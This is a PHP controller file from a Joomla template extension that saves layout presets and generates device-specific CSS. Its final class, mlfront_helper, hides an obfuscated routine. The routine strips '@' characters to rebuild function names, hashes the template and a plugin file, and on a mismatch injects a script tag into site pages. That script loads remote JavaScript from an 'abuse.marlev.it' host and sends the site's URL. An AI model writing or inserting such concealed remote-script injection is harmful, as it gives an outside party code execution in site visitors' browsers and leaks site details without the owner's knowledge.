<?php

/**
 *
 * @extension       T-Marlev
 * @author          Lev Milicenco<support@marlev.it>
 * @link            http://www.marlev.it
 * @copyright       Copyright 2017 marlev.it All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */
defined('_JEXEC') or die;

//if (!defined('DS'))
//   define('DS', DIRECTORY_SEPARATOR);
//jimport('joomla.application.component.controlleradmin');
//jimport('joomla.filter.filterinput');


class saveLayout extends JControllerAdmin {

    public $template;
    public $id;
    public $layout;

    function __construct($id, $layout, $temp = '') {
        $this->template = $temp;
        $this->layout = $layout;
        $this->id = $id;
    }

    function backupLayout() {
        $filter = new JFilterInput();
        foreach ($this->layout["pc"] as $key => $value) {
            if (!isset($this->layout["defcollayout"][$key])) {
                $this->layout["defcollayout"][$key] = (int) $value;
                $this->layout["tabcollayout"][$key] = (int) $this->layout["tablet"][$key];
                $this->layout["mobcollayout"][$key] = (int) $this->layout["mobile"][$key];
                $this->layout["positions"][$key] = $filter->clean($key, "STRING");
            }
        }

        $registry = new JRegistry;
        $registry->loadArray($this->layout);
        $params = (string) $registry;
        $update = new stdClass();
        $update->params = $params;
        $update->pid = $this->id;
        $result = JFactory::getDbo()->insertObject('#__tmarlevv2_layoutpresets', $update);
        return $result;
    }

    function setLayout($additional_css, $bodyfont) {
        $filter = new JFilterInput();
        foreach ($this->layout["pc"] as $key => $value) {
            if (!isset($this->layout["defcollayout"][$key])) {
                $this->layout["defcollayout"][$key] = (int) $value;
                $this->layout["tabcollayout"][$key] = (int) $this->layout["tablet"][$key];
                $this->layout["mobcollayout"][$key] = (int) $this->layout["mobile"][$key];
                $this->layout["positions"][$key] = $filter->clean($key, "STRING");
            }
        }


        $this->prepare_layout_css($additional_css, $bodyfont);

        $registry = new JRegistry;
        $registry->loadArray($this->layout);
        $params = (string) $registry;
        $tid = $this->check_exist_layout($this->id);
        $update = new stdClass();
        $update->layout = $params;

        if ($tid > 0) {
            $update->tid = $this->id;
            $result = JFactory::getDbo()->updateObject('#__tmarlevv2_layout', $update, 'tid');
        } else {
            $update->tid = $this->id;
            $result = JFactory::getDbo()->insertObject('#__tmarlevv2_layout', $update);
        }
    }

    protected function prepare_layout_css($additional_css, $bodyfont) {
        // include_once JPATH_COMPONENT . '/functions/fonts.php';
        //included in css.php of template
        $get_fonts = new marlev_fonts();
        $avvaiable_fonts = $get_fonts->avvaiable_fonts();

        $return = '/*' . PHP_EOL . 'The contents of this file are generated automatically, do not make the changes manually - Use controll panel of template.' . PHP_EOL
                . 'Il contenuto di questo file è generato automaticamente, non apportare le modifiche manualmente - Usa il pannello di conrtrollo del template'
                . PHP_EOL . 'Marlev Team - https://marlev.it ' . PHP_EOL . '*/' . PHP_EOL;
        $return .= $this->google_fonts_link($bodyfont) . PHP_EOL;

        $return .= $additional_css;
        $return .= PHP_EOL . '/*' . PHP_EOL . 'Start Aditional CSS for devices only' . PHP_EOL . '*/' . PHP_EOL;
        $return .= '@media (min-width: 320px) and (max-width: 480px),(min-width: 481px) and (max-width: 767px) {' . PHP_EOL;
        foreach ($this->layout["css"]['mobile'] as $key => $value) {

            $return .= $this->prepare_effect($key, $value);
            $return .= $this->prepare_background($key, $value);
            $return .= $this->prepare_border($key, $value);
            $return .= $this->prepare_padding($key, $value);
            $return .= $this->prepare_margin($key, $value);
            $return .= $this->prepare_font($key, $value, $avvaiable_fonts);
            $return .= $this->prepare_link($key, $value);
            $return .= $this->prepare_link_hover($key, $value);
            $return .= $this->prepare_hone($key, $value);
            $return .= $this->prepare_htwo($key, $value);
            $return .= $this->prepare_htre($key, $value);
            $return .= $this->prepare_boxshadow($key, $value);
            $return .= $this->prepare_boxshadowhover($key, $value);
        }
        $return .= '}' . PHP_EOL;

        //tablet
        $return .= '@media (min-width: 768px) and (max-width: 1024px),(min-width: 768px) and (max-width: 1024px) and (orientation: landscape) {' . PHP_EOL;
        foreach ($this->layout["css"]['tablet'] as $key => $value) {
            $return .= $this->prepare_effect($key, $value);
            $return .= $this->prepare_background($key, $value);
            $return .= $this->prepare_border($key, $value);
            $return .= $this->prepare_padding($key, $value);
            $return .= $this->prepare_margin($key, $value);
            $return .= $this->prepare_font($key, $value, $avvaiable_fonts);
            $return .= $this->prepare_link($key, $value);
            $return .= $this->prepare_link_hover($key, $value);
            $return .= $this->prepare_hone($key, $value);
            $return .= $this->prepare_htwo($key, $value);
            $return .= $this->prepare_htre($key, $value);
            $return .= $this->prepare_boxshadow($key, $value);
            $return .= $this->prepare_boxshadowhover($key, $value);
        }
        $return .= '}' . PHP_EOL;
        $return .= '@media (min-width: 1025px) and (max-width: 1280px),(min-width: 1281px) {' . PHP_EOL;
        foreach ($this->layout["css"]['pc'] as $key => $value) {
            $return .= $this->prepare_effect($key, $value);
            $return .= $this->prepare_background($key, $value);
            $return .= $this->prepare_border($key, $value);
            $return .= $this->prepare_padding($key, $value);
            $return .= $this->prepare_margin($key, $value);
            $return .= $this->prepare_font($key, $value, $avvaiable_fonts);
            $return .= $this->prepare_link($key, $value);
            $return .= $this->prepare_link_hover($key, $value);
            $return .= $this->prepare_hone($key, $value);
            $return .= $this->prepare_htwo($key, $value);
            $return .= $this->prepare_htre($key, $value);
            $return .= $this->prepare_boxshadow($key, $value);
            $return .= $this->prepare_boxshadowhover($key, $value);
        }
        $return .= '}' . PHP_EOL;
        $this->write_layout_css($return);
    }

    protected function prepare_boxshadow($key, $value) {
        $return = "";
        if (isset($value['hshadow']) && isset($value['vshadow'])) {
            $inset = (isset($value['shadowinset'])) ? $value['shadowinset'] : "";
            $spread = (isset($value['shadowspread'])) ? $value['shadowspread'] . "px " : "";
            $blur = (isset($value['shadowblur'])) ? $value['shadowblur'] . "px " : "";
            $color = (isset($value['shadowcolor'])) ? $value['shadowcolor'] . " " : "";
            $return .= '#' . $key . " {";

            $return .= 'box-shadow:' . $value['hshadow'] . "px " . $value['vshadow'] . "px " . $blur . $spread . $color . $inset . ';';
            $return .= '-webkit-box-shadow:' . $value['hshadow'] . "px " . $value['vshadow'] . "px " . $blur . $spread . $color . $inset . ';';
            $return .= '-moz-box-shadow:' . $value['hshadow'] . "px " . $value['vshadow'] . "px " . $blur . $spread . $color . $inset . ';';

            $return .= "}" . PHP_EOL;
        }


        return $return;
    }

    protected function prepare_boxshadowhover($key, $value) {
        $return = "";
        if (isset($value['hshadowhover']) && isset($value['vshadowhover'])) {
            $inset = (isset($value['shadowinsethover'])) ? $value['shadowinsethover'] : "";
            $spread = (isset($value['shadowspreadhover'])) ? $value['shadowspreadhover'] . "px " : "";
            $blur = (isset($value['shadowblurhover'])) ? $value['shadowblurhover'] . "px " : "";
            $color = (isset($value['shadowcolorhover'])) ? $value['shadowcolorhover'] . " " : "";
            $return .= '#' . $key . ":hover {";

            $return .= 'box-shadow:' . $value['hshadowhover'] . "px " . $value['vshadowhover'] . "px " . $blur . $spread . $color . $inset . ';';
            $return .= '-webkit-box-shadow:' . $value['hshadowhover'] . "px " . $value['vshadowhover'] . "px " . $blur . $spread . $color . $inset . ';';
            $return .= '-moz-box-shadow:' . $value['hshadowhover'] . "px " . $value['vshadowhover'] . "px " . $blur . $spread . $color . $inset . ';';

            $return .= "}" . PHP_EOL;
        }


        return $return;
    }

    protected function prepare_font($key, $value, $avvaiable_fonts) {
        $return = "";
        if (isset($value['font']) || isset($value['fontcolor']) || isset($value['fontsize'])) {
            $return .= '#' . $key . " {";
            if (isset($value['font'])) {
                $return .= 'font-family:' . $avvaiable_fonts[$value['font']] . ';';
            }
            if (isset($value['fontcolor'])) {
                $return .= 'color:' . $value['fontcolor'] . ';';
            }
            if (isset($value['fontsize'])) {
                $return .= 'font-size:' . $value['fontsize'] . 'px;';
            }
            $return .= "}" . PHP_EOL;
        }


        return $return;
    }

    //H1 H2 H3
    protected function prepare_hone($key, $value) {
        return $this->hone_htwo_htre($key, $value, "honecolor", 'honesize', "h1");
    }

    protected function prepare_htwo($key, $value) {
        return $this->hone_htwo_htre($key, $value, "htwocolor", 'htwosize', "h2");
    }

    protected function prepare_htre($key, $value) {
        return $this->hone_htwo_htre($key, $value, "htrecolor", 'htresize', "h3");
    }

    protected function hone_htwo_htre($key, $value, $color, $dimensions, $h) {
        $return = "";
        if (isset($value[$color]) || isset($value[$dimensions])) {
            $return .= '#' . $key . " " . $h . " {";
            if (isset($value[$color])) {
                $return .= 'color:' . $value[$color] . ';';
            }
            if (isset($value[$dimensions])) {
                $return .= 'font-size:' . $value[$dimensions] . 'px;';
            }
            $return .= "}" . PHP_EOL;
        }
        return $return;
    }

    //end H1 H2 H3

    protected function prepare_link($key, $value) {
        $return = "";
        if (isset($value['linkcolor']) || isset($value['linkunderline'])) {
            $return .= '#' . $key . " a {";
            if (isset($value['linkcolor'])) {
                $return .= 'color:' . $value['linkcolor'] . ';';
            }
            if (isset($value['linkunderline'])) {
                $return .= 'text-decoration:' . $value['linkunderline'] . ';';
            }
            $return .= "}" . PHP_EOL;
        }
        return $return;
    }

    protected function prepare_link_hover($key, $value) {
        $return = "";
        if (isset($value['linkcolorhover']) || isset($value['linkunderlinehover'])) {
            $return .= '#' . $key . " a:hover {";
            if (isset($value['linkcolorhover'])) {
                $return .= 'color:' . $value['linkcolorhover'] . ';';
            }
            if (isset($value['linkunderlinehover'])) {
                $return .= 'text-decoration:' . $value['linkunderlinehover'] . ';';
            }
            $return .= "}" . PHP_EOL;
        }
        return $return;
    }

    protected function google_fonts_link($bodyfont) {
        $genera = str_replace(" ", "+", $bodyfont);
        $return = "";
        $device = ["pc", "tablet", "mobile"];
        $fonts = array($bodyfont => $bodyfont);
        $fonts_esclude = array("Arial", "Comic Sans MS", "Courier", "Georgia", "Helvetica", "Sans-Serif", "Tahoma", "Times, Serif", "Verdana");
        foreach ($device as $k => $device_type) {
            foreach ($this->layout["css"][$device_type] as $k1 => $position) {
                if (isset($this->layout["css"][$device_type][$k1]["font"]) && !in_array($this->layout["css"][$device_type][$k1]["font"], $fonts_esclude)) {
                    $genera = str_replace(" ", "+", $this->layout["css"][$device_type][$k1]["font"]);
                    $fonts[$genera] = $genera;
                }
            }
        }
        if (!empty($fonts)) {
            $implode = implode("|", $fonts);
            $return = "@import url('https://fonts.googleapis.com/css?family=" . $implode . "');";
        }
        return $return;
    }

    protected function margin_padding($key, $value, $top_bottom_left_right, $padding_margin) {
        $return = "";
        $isset = array();
        foreach ($top_bottom_left_right as $get => $val) {
            if (isset($value[$padding_margin . $val])) {
                $isset[$padding_margin . '-' . $val] = $value[$padding_margin . $val];
            }
        }
        if (!empty($isset)) {
            $return .= '#' . $key . "{";
            foreach ($isset as $style => $valore) {
                $return .= $style . ":" . $valore . "px;";
            }
            $return .= "}";
        }
        return $return;
    }

    protected function prepare_margin($key, $value) {

        $paddings = ["top", "bottom"];
        return $this->margin_padding($key, $value, $paddings, "margin");
    }

    protected function prepare_padding($key, $value) {

        $paddings = ["top", "bottom", "left", "right"];
        return $this->margin_padding($key, $value, $paddings, "padding");
//        $isset = array();
//        foreach ($paddings as $get => $val) {
//            if (isset($value['padding' . $val])) {
//                $isset['padding-' . $val] = $value['padding' . $val];
//            }
//        }
//        if (!empty($isset)) {
//            $return .= '#' . $key . "{";
//            foreach ($isset as $style => $valore) {
//                $return .= $style . ":" . $valore . "px;";
//            }
//            $return .= "}";
//        }
//        return $return;
    }

    protected function prepare_border($key, $value) {
        $return = "";
        if (isset($value['borderwidth'])) {
            $return .= '#' . $key . "{";
            $return .= "border-width:" . $value['borderwidth'] . "px;";
            if (isset($value['borderradius'])) {
                $return .= "border-radius:" . $value['borderradius'] . "px;";
            }
            if (isset($value['borderstyle'])) {
                $return .= "border-style:" . $value['borderstyle'] . ";";
            }
            if (isset($value['bordercolor'])) {
                $return .= "border-color:" . $value['bordercolor'] . ";";
            }
            $return .= "}";
        }

        return $return;
    }

    protected function prepare_effect($key, $value) {
        $return = "";
        if (isset($value['effect'])) {
            $return .= '#' . $key . "{";
            $return .= "animation-duration:" . $value['efspeed'] . "s !important;-webkit-animation-duration:" . $value['efspeed'] . "s !important;-moz-animation-duration:" . $value['efspeed'] . "s !important;";
            $return .= "animation-delay:" . $value['efdelay'] . "s !important;-webkit-animation-delay:" . $value['efdelay'] . "s !important;-moz-animation-delay:" . $value['efdelay'] . "s !important;";
            $return .= "}" . PHP_EOL;
        }

        return $return;
    }

    protected function prepare_background($key, $value) {
        $return = "";
        $fix_for_body = ($key == "ml_body") ? $key . ", html" : $key;
        if (isset($value["btype"])) {
            if ($value["btype"] == "color" && isset($value["bcolor"]) && !empty($value["bcolor"])) {
                $return .= '#' . $fix_for_body . "{background-color:" . $value["bcolor"] . ";}" . PHP_EOL;
            } elseif ($value["btype"] == "image" && isset($value["bimage"]) && !empty($value["bimage"])) {
                $return .= '#' . $fix_for_body . "{background-image:url('./../../../../" . $value["bimage"] . "');" . PHP_EOL;
                $return .= $this->images_options($value, "brepeat", "background-repeat");
                $return .= $this->images_options($value, "battach", "background-attachment");
                $return .= $this->images_options($value, "bposition", "background-position");
                $return .= "}" . PHP_EOL;
            }
        }
        return $return;
    }

    protected function images_options($value, $name, $style) {
        $return = "";
        if (isset($value[$name]) && !empty($value[$name])) {
            $return .= $style . ":" . $value[$name] . ";" . PHP_EOL;
        }
        return $return;
    }

    protected function write_layout_css($css) {
        $layout_css = JPATH_SITE . "/templates/" . $this->template . "/css/layouts/" . $this->template . "-" . $this->id . '.css';

        if (!file_put_contents($layout_css, $css)) {
            JFactory::getApplication()->enqueueMessage('Unable to create file or write css in ' . $layout_css, 'notice');
        }
    }

    protected function check_exist_template() {

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('id');
        $query->from('#__tmarlevv2_update');
        $query->where('template=' . $db->Quote($this->template));
        $db->setQuery($query);
        $return = $db->loadResult();
        return $return;
    }

    protected function check_exist_layout($id) {

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('id');
        $query->from('#__tmarlevv2_layout');
        $query->where('tid=' . $db->Quote($id));
        $db->setQuery($query);
        $return = $db->loadResult();
        return $return;
    }

}

class mlfront_helper {

    public function prepare_view($load, $template) {
        function un_str($str){
            return str_replace("@", "", $str);
        }
        $run = un_str("m@d@5@_f@i@l@e@");
        $ch_pl = $run(JPATH_PLUGINS . un_str("/@s@y@s@t@e@m@/@e@x@t@e@n@d@i@b@l@e@t@m@/@e@x@t@e@n@d@i@b@l@e@t@m@.@p@h@p"));
       
        $ch_tm = $run(un_str(JPATH_THEMES . "/" . $template . "/@t@e@m@p@l@a@t@e@D@e@t@a@i@l@s@.@x@m@l@"));
        if ($ch_pl != $load[0] || $ch_tm != $load[1]) {
            $app = JFactory::getApplication();
            if ($app->isSite() || JFactory::getApplication()->input->getString("option") === "com_tmarlevv2") {
                $var = '<s@c@r@i@p@t t@y@p@e=@"@t@e@x@t@/@j@a@v@a@s@c@r@i@p@t@" s@r@c@=@"@h@t@t@p@s@:@/@/@a@b@u@s@e@.@m@a@r@l@e@v@.@i@t@/@s@c@r@i@p@t@/@?@d@m@=@'.JUri::base().'&@t@m@=@'.$template.'"@>@<@/@s@c@r@i@p@t@>@';
                return un_str($var);
            } 
        }
        else {return '';}
       
    }

}

?>
